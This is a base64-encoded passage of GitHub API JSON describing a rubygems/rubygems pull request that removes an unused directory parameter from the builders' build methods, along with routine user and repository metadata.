JlY3RvcnkgcGFyYW1ldGVyIGZyb20gYnVpbGRlcnMgLmJ1aWxkIG1ldGhvZHMuIFtyZWJhc2VkXSIsInVzZXIiOnsibG9naW4iOiJrcmFpbmJvbHRncmVlbmUiLCJpZCI6MzM0ODA5LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMzQ4MDk/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2tyYWluYm9sdGdyZWVuZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImJvZHkiOiJUaGlzIGlzIGEgcmViYXNlIG9mICM2NjlcblxuVGhpcyBwYXJhbWV0ZXIgd2FzIGludHJvZHVjZWQgOCB5ZWFycyBhZ28sIGJ1dCB3YXMgbmV2ZXIgdXNlZC4gQWx0aG91Z2hcbml0IG1pZ2h0IGJyZWFrIHNvbWUgUnVieUdlbXMgcGx1Z2luLCBpdCBkb2Vzbid0IHNlZW1zIHRoZXJlIGV4aXN0IGFueVxuYWx0ZXJuYXRpdmUgUnVieUdlbXMgYnVpbGRlciBpbiB0aGUgd2lsZC5cbiIsImNyZWF0ZWRfYXQiOiIyMDE1LTEyLTMxVDA4OjQ5OjMwWiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTI5VDA0OjQwOjA0WiIsImNsb3NlZF9hdCI6bnVsbCwibWVyZ2VkX2F0IjpudWxsLCJtZXJnZV9jb21taXRfc2hhIjoiNDQ3ZGM5NGU2ZDMxZWYxZWI5YzU4Nzg3NWNiYTcxODk0ODY2YTU0OCIsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJyZXF1ZXN0ZWRfcmV2aWV3ZXJzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTQzMy9jb21taXRzIiwicmV2aWV3X2NvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTQzMy9jb21tZW50cyIsInJldmlld19jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvY29tbWVudHN7L251bWJlcn0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDMzL2NvbW1lbnRzIiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy8wMzA3ZmM0ZWM1Yjg2MjU3MzE3NTJjZTNiNDQ4N2NlMzVmYzZmYmE4IiwiaGVhZCI6eyJsYWJlbCI6InJ1YnlnZW1zOnJlbW92ZS11c2VsZXNzLWRpcmVjdG9yeS1wYXJhbWV0ZXIiLCJyZWYiOiJyZW1vdmUtdXNlbGVzcy1kaXJlY3RvcnktcGFyYW1ldGVyIiwic2hhIjoiMDMwN2ZjNGVjNWI4NjI1NzMxNzUyY2UzYjQ0ODdjZTM1ZmM2ZmJhOCIsInVzZXIiOnsibG9naW4iOiJydWJ5Z2VtcyIsImlkIjoyMDg3NjEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIwODc2MT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2VtcyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6Ik9yZ2FuaXphdGlvbiIsInNpdGVfYWRtaW4iOmZhbHNlfSwicmVwbyI6eyJpZCI6NjE0MDcwLCJuYW1lIjoicnVieWdlbXMiLCJmdWxsX25hbWUiOiJydWJ5Z2Vtcy9ydWJ5Z2VtcyIsIm93bmVyIjp7ImxvZ2luIjoicnVieWdlbXMiLCJpZCI6MjA4NzYxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMDg3NjE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJPcmdhbml6YXRpb24iLCJzaXRlX2FkbWluIjpmYWxzZX0sInByaXZhdGUiOmZhbHNlLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImRlc2NyaXB0aW9uIjoiTGlicmFyeSBwYWNrYWdpbmcgYW5kIGRpc3RyaWJ1dGlvbiBmb3IgUnVieS4iLCJmb3JrIjpmYWxzZSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImZvcmtzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZm9ya3MiLCJrZXlzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMva2V5c3sva2V5X2lkfSIsImNvbGxhYm9yYXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb2xsYWJvcmF0b3Jzey9jb2xsYWJvcmF0b3J9IiwidGVhbXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy90ZWFtcyIsImhvb2tzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaG9va3MiLCJpc3N1ZV9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvZXZlbnRzey9udW1iZXJ9IiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZXZlbnRzIiwiYXNzaWduZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvYXNzaWduZWVzey91c2VyfSIsImJyYW5jaGVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvYnJhbmNoZXN7L2JyYW5jaH0iLCJ0YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvdGFncyIsImJsb2JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2Jsb2Jzey9zaGF9IiwiZ2l0X3RhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdGFnc3svc2hhfSIsImdpdF9yZWZzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3JlZnN7L3NoYX0iLCJ0cmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlc3svc2hhfSIsInN0YXR1c2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMve3NoYX0iLCJsYW5ndWFnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYW5ndWFnZXMiLCJzdGFyZ2F6ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhcmdhemVycyIsImNvbnRyaWJ1dG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRyaWJ1dG9ycyIsInN1YnNjcmliZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3Vic2NyaWJlcnMiLCJzdWJzY3JpcHRpb25fdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb24iLCJjb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0c3svc2hhfSIsImdpdF9jb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHN7L3NoYX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1lbnRzey9udW1iZXJ9IiwiaXNzdWVfY29tbWVudF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy9jb21tZW50c3svbnVtYmVyfSIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udGVudHMveytwYXRofSIsImNvbXBhcmVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21wYXJlL3tiYXNlfS4uLntoZWFkfSIsIm1lcmdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL21lcmdlcyIsImFyY2hpdmVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy97YXJjaGl2ZV9mb3JtYXR9ey9yZWZ9IiwiZG93bmxvYWRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZG93bmxvYWRzIiwiaXNzdWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzey9udW1iZXJ9IiwicHVsbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsc3svbnVtYmVyfSIsIm1pbGVzdG9uZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9taWxlc3RvbmVzey9udW1iZXJ9Iiwibm90aWZpY2F0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL25vdGlmaWNhdGlvbnN7P3NpbmNlLGFsbCxwYXJ0aWNpcGF0aW5nfSIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVsc3svbmFtZX0iLCJyZWxlYXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3JlbGVhc2Vzey9pZH0iLCJkZXBsb3ltZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2RlcGxveW1lbnRzIiwiY3JlYXRlZF9hdCI6IjIwMTAtMDQtMTZUMTk6MDI6NDRaIiwidXBkYXRlZF9hdCI6IjIwMTgtMDEtMDVUMTk6MzY6MDZaIiwicHVzaGVkX2F0IjoiMjAxOC0wMS0wNVQwODoyMDozNVoiLCJnaXRfdXJsIjoiZ2l0Oi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJzc2hfdXJsIjoiZ2l0QGdpdGh1Yi5jb206cnVieWdlbXMvcnVieWdlbXMuZ2l0IiwiY2xvbmVfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zLmdpdCIsInN2bl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMiLCJob21lcGFnZSI6Imh0dHBzOi8vcnVieWdlbXMub3JnLyIsInNpemUiOjE0MjkwLCJzdGFyZ2F6ZXJzX2NvdW50IjoxOTA2LCJ3YXRjaGVyc19jb3VudCI6MTkwNiwibGFuZ3VhZ2UiOiJSdWJ5IiwiaGFzX2lzc3VlcyI6dHJ1ZSwiaGFzX3Byb2plY3RzIjpmYWxzZSwiaGFzX2Rvd25sb2FkcyI6dHJ1ZSwiaGFzX3dpa2kiOmZhbHNlLCJoYXNfcGFnZXMiOmZhbHNlLCJmb3Jrc19jb3VudCI6OTU5LCJtaXJyb3JfdXJsIjpudWxsLCJhcmNoaXZlZCI6ZmFsc2UsIm9wZW5faXNzdWVzX2NvdW50IjoxNjIsImxpY2Vuc2UiOnsia2V5Ijoib3RoZXIiLCJuYW1lIjoiT3RoZXIiLCJzcGR4X2lkIjpudWxsLCJ1cmwiOm51bGx9LCJmb3JrcyI6OTU5LCJvcGVuX2lzc3VlcyI6MTYyLCJ3YXRjaGVycyI6MTkwNiwiZGVmYXVsdF9icmFuY2giOiJtYXN0ZXIifX0sImJhc2UiOnsibGFiZWwiOiJydWJ5Z2VtczptYXN0ZXIiLCJyZWYiOiJtYXN0ZXIiLCJzaGEiOiI1MTRmMWRhOTZiYmQzY2JmODhlYjg2MTE3YWRjODgxZmY4OWM3OWY1IiwidXNlciI6eyJsb2dpbiI6InJ1YnlnZW1zIiwiaWQiOjIwODc2MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjA4NzYxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2VtcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJyZXBvIjp7ImlkIjo2MTQwNzAsIm5hbWUiOiJydWJ5Z2VtcyIsImZ1bGxfbmFtZSI6InJ1YnlnZW1zL3J1YnlnZW1zIiwib3duZXIiOnsibG9naW4iOiJydWJ5Z2VtcyIsImlkIjoyMDg3NjEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIwODc2MT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2VtcyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6Ik9yZ2FuaXphdGlvbiIsInNpdGVfYWRtaW4iOmZhbHNlfSwicHJpdmF0ZSI6ZmFsc2UsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiZGVzY3JpcHRpb24iOiJMaWJyYXJ5IHBhY2thZ2luZyBhbmQgZGlzdHJpYnV0aW9uIGZvciBSdWJ5LiIsImZvcmsiOmZhbHNlLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwiZm9ya3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9mb3JrcyIsImtleXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9rZXlzey9rZXlfaWR9IiwiY29sbGFib3JhdG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbGxhYm9yYXRvcnN7L2NvbGxhYm9yYXRvcn0iLCJ0ZWFtc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3RlYW1zIiwiaG9va3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ob29rcyIsImlzc3VlX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy9ldmVudHN7L251bWJlcn0iLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ldmVudHMiLCJhc3NpZ25lZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9hc3NpZ25lZXN7L3VzZXJ9IiwiYnJhbmNoZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9icmFuY2hlc3svYnJhbmNofSIsInRhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy90YWdzIiwiYmxvYnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvYmxvYnN7L3NoYX0iLCJnaXRfdGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90YWdzey9zaGF9IiwiZ2l0X3JlZnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvcmVmc3svc2hhfSIsInRyZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzey9zaGF9Iiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy97c2hhfSIsImxhbmd1YWdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhbmd1YWdlcyIsInN0YXJnYXplcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGFyZ2F6ZXJzIiwiY29udHJpYnV0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udHJpYnV0b3JzIiwic3Vic2NyaWJlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdWJzY3JpYmVycyIsInN1YnNjcmlwdGlvbl91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N1YnNjcmlwdGlvbiIsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzey9zaGF9IiwiZ2l0X2NvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBv